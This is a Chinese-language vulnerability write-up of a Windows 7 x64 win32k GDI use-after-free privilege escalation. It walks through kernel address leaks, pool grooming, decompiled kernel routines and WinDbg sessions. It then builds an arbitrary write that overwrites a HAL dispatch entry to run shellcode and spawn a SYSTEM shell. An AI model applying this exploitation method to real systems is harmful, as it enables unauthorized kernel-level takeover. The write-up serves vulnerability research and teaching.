这个漏洞属于未正确处理GDI对象导致的UAF类型本地权限提升漏洞
复现环境
- Windows 7 sp1 64位操作系统
- 编译环境Visual Studio 2013
引用
360分析
看雪分析
Poc 分析
关于漏洞的成因,以上两篇引用文章对漏洞的成因已经介绍的很详细,这里不再赘述.本文主要分析漏洞复现的调试过程,和漏洞利用方式的讨论.
在poc中先创建大小为0x350的AcceleratorTable,计算公式为:
ACCEL WINAPI CreateAcceleratorTableW( _In_reads_(cAccel) LPACCEL paccel,_In_ int cAccel);
最终的大小等于(cAccel*6+0x32)&~f
然后又创建了0xcb0大小的AcceleratorTable,这么多个0x350之间的存在空隙,由于其他线程会创建对象占用池的原因,那些创建的小块一般不会大于0xcb0,所以会在多个0x350之间的存在空隙之间堆积,而之后创建的0xcb0大小的AcceleratorTable正好以0xcb00+0x350和方式占满整个一页也就是0x1000大小的空间,又因为0xcb0大小的块数量多余0x350的块,最后0xcb0下方方空余部分可以被同样0x350大小的bitmap和gdi对象占位即图中标识为free的块,占位后池排序方式如下图:
poc中出现了2种类型对象,一种是CreateAcceleratorTableW产生的user object对象,还有一种是通过CreateBitmap或GetCurrentObject产生的gdi对象.
在用户态只返回了产生对象的句柄,但是可以通过如下2中方式找到对象的内核泄露地址,
user object可以在user32.dll的导出函数gSharedInfo中找到泄露内核地址,具体计算公式为(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff))
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
} SHAREDINFO, *PSHAREDINFO;
typedef struct _HANDLEENTRY {
PVOID phead;
PVOID pOwner;
BYTE bType;
BYTE bFlags;
WORD wUniq;
} HANDLEENTRY, *PHANDLEENTRY;
对于gdi对象可以在PEB结构体中的GdiSharedHandleTable中找到泄露内核地址,具体计算公式为(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi对象句柄&0xffff)),下面我们来看调试验证过程.
笔者使用在exsi上用windbg和vs双虚拟机调试内核和用户态的2种方法,具体方法见我的另一篇文章.
对win32k的NtUserCreateAcceleratorTable和win32k!HMAllocObject下断点得到到创建的AcceleratorTable泄露内核地址为fffff900c2877630.
kd> bp win32k!NtUserCreateAcceleratorTable
kd> bp win32k!HMAllocObject "gu;"
kd> g
win32k!CreateAcceleratorTable+0x32:
fffff960`00140ed6 488bf8 mov rdi,rax
//rax就是AcceleratorTable泄露内核地址
kd> !pool @rax
Pool page fffff900c2877630 region is Paged session pool
fffff900c2877000 size: 350 previous size: 0 (Allocated) Gla5
fffff900c2877350 size: 50 previous size: 350 (Free) ...Z
fffff900c28773a0 size: f0 previous size: 50 (Allocated) Gla4
fffff900c2877490 size: f0 previous size: f0 (Allocated) Gla4
fffff900c2877580 size: a0 previous size: f0 (Allocated) Uscu Process: fffffa8004211060
*fffff900c2877620 size: 350 previous size: a0 (Allocated) *Usac Process: fffffa80020cdb30
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
fffff900c2877970 size: 690 previous size: 350 (Free ) Geto
在用户态查看栈变量
0:000> dv /i /t /v
prv local 00000000`001377e0 struct HACCEL__ *[1000] hAccel1 = struct HACCEL__ *[1000]
prv local 00000000`00139740 struct HACCEL__ *[1000] hAccel2 = struct HACCEL__ *[1000]
0:000> dq 00000000`001377e0
00000000`001377e0 00000000`00ae0707 00000000`00a00763
00000000`001377f0 00000000`00230809 00000000`00080803
00000000`00137800 00000000`009500f1 00000000`002e06ff
00000000`00137810 00000000`0086079b 00000000`004f0735
在内核态验证这个AcceleratorTable泄露内核地址
kd> dq user32!gSharedInfo
00000000`76ed26e0 00000000`00630a70 00000000`004b0000
00000000`76ed26f0 00000000`00000018 00000000`00631e50
//计算公式为(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff))
kd> dq 00000000`004b0000+18h*0707
//第一行就是AcceleratorTabl句柄
00000000`004ba8a8 fffff900`c2877630 fffff900`c01dbce0
00000000`004ba8b8 00000000`00ae0008 fffff900`c35ee010
00000000`004ba8c8 fffff900`c01dbce0 00000000`00090008
接下来验证gdi对象hgdiObj=00000000`0F050D4E,内核地址为FFFFF900C3041CC0,在内核态验证
kd> !peb
PEB at 000007fffffdc000
...
kd> dt nt!_peb -ny gdi 000007fffffdc000
+0x0f8 GdiSharedHandleTable : 0x00000000`00640000 Void
//计算公式为(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi对象句柄&0xffff))
kd> dq 0x00000000`00640000 +18h*0D4E
//第一行就是gdi对象句柄
00000000`00653f50 fffff900`c3041cc0 41050f05`00000000
00000000`00653f60 00000000`00000000 fffff900`c1f60100
kd> !pool fffff900`c3041cc0
Pool page fffff900c3041cc0 region is Paged session pool
fffff900c3041000 size: cb0 previous size: 0 (Allocated) Usac Process: fffffa80020cdb30
*fffff900c3041cb0 size: 350 previous size: cb0 (Allocated) *Gla5
Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys
在ddclient进程退出后再次查看gdi对象的池分布情况
kd> !pool fffff900`c3041cc0
Pool page fffff900c3041cc0 region is Paged session pool
fffff900c3041000 size: cb0 previous size: 0 (Allocated) Usac Process: fffffa80020cdb30
//可以看到是释放状态
*fffff900c3041cb0 size: 350 previous size: cb0 (Free) *Gla5
Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys
之后poc中把后方存在大量0xcb0的AcceleratorTable和0x350的bitmap占满整个一页池布局中的bitmap清除,此时这个gdi对象必定在这些bitnap中一个位置,马上使用0x350的CreateAcceleratorTableW占位,再来看下池布局
kd> !pool FFFFF900c3041cc0
//此时已经被AcceleratorTable占位,导致uaf
Pool page fffff900c301ecc0 region is Paged session pool
fffff900c3041000 size: cb0 previous size: 0 (Allocated) Usac Process: fffffa80020cdb30
*fffff900c3041cb0 size: 350 previous size: cb0 (Allocated) *Usac Process: fffffa80020cdb30
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
池风水情况如图:
poc使用SetDIBColorTable对这个uaf的gdi对象进行操作,实现了任意地址3字节的写,原poc采用了写入Window的cbWNDExtra字段操作的buff指针和方式替换systemtoken实现提权,笔者认为太麻烦,改为hookhal函数至shellcode方式实现提权,可以实现相同效果.下面分析uaf的利用过程.
SetDIBColorTable会调用ZwGdiDoPalette进入内核态调用NtGdiDoPalette
UINT __stdcall SetDIBColorTable(HDC hdc, UINT iStart, UINT cEntries, const RGBQUAD *prgbq)
{
UINT result; // eax
if ( cEntries )
//调用内核态NtGdiDoPalette
result = ZwGdiDoPalette(hdc, *(_QWORD *)&iStart, cEntries, prgbq, 5, 1);
else
result = 0;
return result;
}
NtGdiDoPalette接着又调用了GreSetDIBColorTable
__int64 __fastcall NtGdiDoPalette(__int64 hdc, unsigned __int16 iStart, unsigned __int16 cEntries, RGBQUAD *prgbq, unsigned int value5, int value1)
{
RGBQUAD *prgbqRef; // r12
signed int Low_cEntries; // ebx
unsigned int hr; // er14
int flag; // er13
void *buff; // rsi
__int64 GreSetDIBColorTable_Offset; // rax
unsigned __int64 prg_Low; // rax
signed int hrtemp; // eax
size_t v14; // r8
__int64 hdcRef; // [rsp+70h] [rbp+8h]
unsigned __int16 iStartRef; // [rsp+78h] [rbp+10h]
iStartRef = iStart;
hdcRef = hdc;
prgbqRef = prgbq;
LOWORD(Low_cEntries) = cEntries;
hr = 0;
flag = 1;
buff = 0i64;
GreSetDIBColorTable_Offset = value5;
if ( value5 > 5 )
return hr;
// 如果传进来的不是1
if ( !value1 )
{
if ( prgbq )
{
if ( cEntries )
{
if ( cEntries <= 0x9C4000ui64 )
{
// 分配buff
buff = (void *)AllocFreeTmpBuffer(4 * (unsigned int)cEntries);
iStart = iStartRef;
}
flag = buff != 0i64 ? 1 : 0;
hdc = hdcRef;
GreSetDIBColorTable_Offset = value5;
}
else
{
flag = 0;
}
}
if ( flag )
{
Low_cEntries = (unsigned __int16)Low_cEntries;
// 调用GreSetDIBColorTable
hrtemp = ((__int64 (__fastcall *)(__int64, _QWORD, _QWORD, void *))*(&palfun + GreSetDIBColorTable_Offset))(
hdc,
iStart,
(unsigned __int16)Low_cEntries,
buff);
hr = hrtemp;
if ( (unsigned __int16)Low_cEntries < hrtemp )
hrtemp = Low_cEntries;
if ( hrtemp > 0 && prgbqRef )
{
v14 = hrtemp;
if ( &prgbqRef[v14] > W32UserProbeAddress || &prgbqRef[v14] <= prgbqRef )
*(_BYTE *)W32UserProbeAddress = 0;
memmove(prgbqRef, buff, v14 * 4);
}
}
goto LABEL_27;
}
if ( cEntries <= 0u )
{
// 实际上都是调用GreSetDIBColorTable_Offset
LABEL_11:
hr = ((__int64 (__fastcall *)(__int64, _QWORD, _QWORD, void *))*(&palfun + GreSetDIBColorTable_Offset))(
hdc,
iStart,
(unsigned __int16)Low_cEntries,
buff);
LABEL_27:
if ( buff )
FreeTmpBuffer(buff);
return hr;
}
if ( cEntries <= 0x9C4000ui64 )
// 分配堆
buff = (void *)AllocFreeTmpBuffer(4 * (unsigned int)cEntries);
if ( !buff )
return hr;
prg_Low = (unsigned __int64)&prgbqRef[(unsigned __int16)Low_cEntries];
if ( prg_Low > (unsigned __int64)W32UserProbeAddress || prg_Low <= (unsigned __int64)prgbqRef )
*(_BYTE *)W32UserProbeAddress = 0;
memmove(buff, prgbqRef, 4i64 * (unsigned __int16)Low_cEntries);
iStart = iStartRef;
hdc = hdcRef;
// 这里又到了lable1执行GreSetDIBColorTable
GreSetDIBColorTable_Offset = value5;
goto LABEL_11;
}
__int64 __fastcall GreSetDIBColorTable(HDC hdc, unsigned int iStart, int Low_cEntries, tagRGBQUAD *prgbq)
{
unsigned int v4; // esi
tagRGBQUAD *v5; // rbp
int v6; // er12
unsigned int iret; // edi
XEPALOBJ *v8; // rbx
SURFACE *surf; // rdx
__int64 xpLookup; // rax
int iLast; // edi
__int64 xp; // [rsp+20h] [rbp-68h]
XEPALOBJ *xpobjFrom; // [rsp+28h] [rbp-60h]
int v15; // [rsp+30h] [rbp-58h]
int v16; // [rsp+34h] [rbp-54h]
__int64 devLock; // [rsp+38h] [rbp-50h]
__int64 v18; // [rsp+40h] [rbp-48h]
__int64 v19; // [rsp+48h] [rbp-40h]
int v20; // [rsp+50h] [rbp-38h]
__int64 v21; // [rsp+58h] [rbp-30h]
int v22; // [rsp+60h] [rbp-28h]
int v23; // [rsp+64h] [rbp-24h]
// poc中istart为0
v4 = iStart;
v5 = prgbq;
v6 = Low_cEntries;
iret = 0;
xpobjFrom = 0i64;
v15 = 0;
v16 = 0;
XDCOBJ::vLock((XEPALOBJ *)&xpobjFrom, hdc);
v8 = xpobjFrom;
if ( xpobjFrom )
{
v21 = 0i64;
v22 = 0;
v23 = 0;
devLock = 0i64;
v18 = 0i64;
v19 = 0i64;
v20 = 0;
DEVLOCKOBJ::bPrepareTrgDco((DEVLOCKOBJ *)&devLock, 0i64);
DEVLOCKOBJ::vLockNoDrawing((DEVLOCKOBJ *)&devLock, (struct XDCOBJ *)&xpobjFrom);
surf = SURFACE::pdibDefault;
if ( v8->field_1F8 )
surf = (SURFACE *)v8->field_1F8;
if ( surf->field_64 || !surf->field_B8 || (unsigned int)(surf->field_60 - 1) > 2 )
{
EngSetLastError(6);
}
else
{
*(_DWORD *)(v8->field_50 + 8) |= 0xFu;
// 0x78偏移量,surf->xpobj实际上就是hdc内核对象xpobjFrom
xpLookup = surf->xpobj;
xp = xpLookup;
// 0x1C是xp的索引
if ( v4 < *(_DWORD *)(xpLookup + 0x1C) )
{
iLast = v4 + v6;
// 如果要查找的entry索引大于xp的索引界限字段,last就赋值为xp的索引界限字段值
if ( v4 + v6 > *(_DWORD *)(xpLookup + 0x1C) )
iLast = *(_DWORD *)(xpLookup + 0x1C);
iret = iLast - v4;
XEPALOBJ::vCopy_rgbquad((XEPALOBJ *)&xp, v5, v4, iret);
}
}
DEVLOCKOBJ::vDestructor((DEVLOCKOBJ *)&devLock);
}
else
{
EngSetLastError(6);
}
if ( !v8 )
return iret;
XDCOBJ::RestoreAttributes((XDCOBJ *)&xpobjFrom);
_InterlockedAdd(&xpobjFrom->flag, 0xFFFFFFFF);
return iret;
}
这里xp是一个PALETTE64结构正确逆向结果如下,vCopy_rgbquad函数向xp的+0x80+(4*iStartRef)处写入3个字节也就是PALETTEENTRY的rbg3种颜色,可以由用户控制,这里iStartRef是索引值为0
typedef struct PALETTEENTRY{
_BYTE peRed;
_BYTE peGreen;
_BYTE peBlue;
_BYTE peFlags;
}
#pragma pack(push, 4)
typedef struct _PALETTE64
{
_BYTE BaseObject[24]; // 0x00
ULONG flPal; // 0x18
ULONG cEntries; // 0x1c
ULONG ulTime; // 0x20
ULONG64 hdcHead; // 0x28
ULONG64 hSelected; // 0x30
ULONG64 cRefhpal; // 0x38
ULONG cRefRegular; // 0x3c
ULONG64 ptransFore; // 0x40
ULONG64 ptransCurrent; // 0x48
ULONG64 ptransOld; // 0x50
ULONG64 unk_038; // 0x58
ULONG64 pfnGetNearest; // 0x60
ULONG64 pfnGetMatch; // 0x68
ULONG64 ulRGBTime; // 0x70
ULONG64 pRGBXlate; // 0x78
PALETTEENTRY *pFirstColor; // 0x80
struct _PALETTE *ppalThis; // 0x88
PALETTEENTRY apalColors[3]; // 0x90
}PALETTE64 ;
#pragma pack(pop)
void __fastcall XEPALOBJ::vCopy_rgbquad(PALETTE64 *this, tagRGBQUAD *prgbq, unsigned int iStart, int iret)
{
__int64 iStartRef; // rbx
PALETTE64 *that; // r8
BYTE *writeBuff; // r10
BYTE blue; // al
bool EndIret; // zf
signed __int32 XlatePalUnique; // ecx
__int64 xpRef; // rdx
iStartRef = iStart;
that = this;
// StartRef和iret这里为0,就是pFirstColor
writeBuff = (BYTE *)(*(_QWORD *)(*(_QWORD *)this->BaseObject + 0x80i64) + 4 * iStartRef);
// 这里就是设置*(DWORD *)(XEPALOBJ + 0x1C) = 1的原因
if ( (unsigned int)(iStartRef + iret) > *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x1Ci64) )
// 0x1C就是xp的索引
iret = *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x1Ci64) - iStartRef;
if ( iret )
{
do
{
// 最后一个字节写入为0
writeBuff[3] = 0;
blue = prgbq->rgbBlue;
++prgbq;
// 第三个字节写入
writeBuff[2] = blue;
// 写入第一个字节
*writeBuff = prgbq[-1].rgbRed;
writeBuff += 4;
EndIret = iret-- == 1;
// +4-3=1写入第二个字节
*(writeBuff - 3) = prgbq[-1].rgbGreen;
}
while ( !EndIret );
}
XlatePalUnique = _InterlockedIncrement((volatile signed __int32 *)&ulXlatePalUnique);
*(_DWORD *)(*(_QWORD *)that->BaseObject + 0x20i64) = XlatePalUnique;
// 这里需要设置*(ULONGLONG **)(XEPALOBJ + 0x88) = &tmp;和xp+0x88相同的值
xpRef = *(_QWORD *)(*(_QWORD *)that->BaseObject + 0x88i64);
if ( xpRef != *(_QWORD *)that->BaseObject )
*(_DWORD *)(xpRef + 0x20) = XlatePalUnique;
}
下面我们看调试来验证这个结果:
surf->xpobj就是uaf的gdi对象相对于AcceleratorTableW+0x78偏移量位置的对,也就是最终被任意位置写入内存的对象,
在内核态查看:
kd> dq FFFFF900c3041cc0+78h
//看到xp=00000000`020f0d50
fffff900`c3041d38 00000000`020f0d50 12344444`00081234
fffff900`c3041d48 00081234`44440008 44440008`12344444
fffff900`c3041d58 12344444`00081234 00081234`44440008
fffff900`c3041d68 44440008`12344444 12344444`00081234
kd> dq 00000000`020f0d50+80h
//这里指定的就是hal地址
00000000`020c0dd0 fffff800`03e43c68 00000000`001dbb18
00000000`020c0de0 00000000`00000000 00000000`fdfdfdfd
00000000`020c0df0 00000000`00000000 0c1d2361`21bb903c
00000000`020c0e00 00000000`020c0d20 00000000`00000000
kd> dq fffff800`03e43c68
//原值为fffff800`00000000
fffff800`03e43c68 fffff800`00000000 fffff800`03c43470
fffff800`03e43c78 fffff800`04041f20 00000000`00000000
fffff800`03e43c88 fffff800`03d1c2f0 fffff800`03ff4044
fffff800`03e43c98 fffff800`03ff4990 fffff800`041310d0
fffff800`03e43ca8 fffff800`03d00090 fffff800`03cc4510
fffff800`03e43cb8 fffff800`03cc4510 fffff800`03c41ca4
fffff800`03e43cc8 fffff800`03c42e88 fffff800`03c17534
fffff800`03e43cd8 fffff800`03c41c18 fffff800`04041f20
继续运行程序至以下代码,然后在用户态查看:
执行*(LONGLONG *)(XEPALOBJ + 0x80) = (LONGLONG)(hal + 8);
SetDIBColorTable(hdc, 0, 1, &prgbq)后
0:000> dv /i /t /v
//dal地址
prv local 00000000`001df9f8 unsigned int64 hal = 0xfffff800`03e43c60
//shellcode地址
prv local 00000000`001dfa00 unsigned int64 target = 0x00000001`3fe7123a
再回到内核态查看
kd> dq 00000000`020f0d50+80h
00000000`020c0dd0 fffff800`03e43c68 00000000`001dbb18
00000000`020c0de0 00000000`00000000 00000000`fdfdfdfd
00000000`020c0df0 00000000`00000000 0c1d2361`21bb903c
00000000`020c0e00 00000000`020c0d20 00000000`00000000
kd> dq fffff800`03e43c68
//新值已经被修改成target地址也就是shellcode地址
fffff800`03e43c68 00000001`3fe7123a fffff800`03c43470
fffff800`03e43c78 fffff800`04041f20 00000000`00000000
fffff800`03e43c88 fffff800`03d1c2f0 fffff800`03ff4044
fffff800`03e43c98 fffff800`03ff4990 fffff800`041310d0
此时可以看到hal地址+8位置的内存数据已经被修改成target地址也就是shellcode地址
接下去调用NtQueryIntervalProfile执行eshellcode,最后成功在win7x64机器上弹出system的cmd,经测试成功率在50%左右,如图:
引用
我的poc地址
作者来自ZheJiang Guoli Security Technology
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2019-8-9 09:01
被王cb编辑
,原因: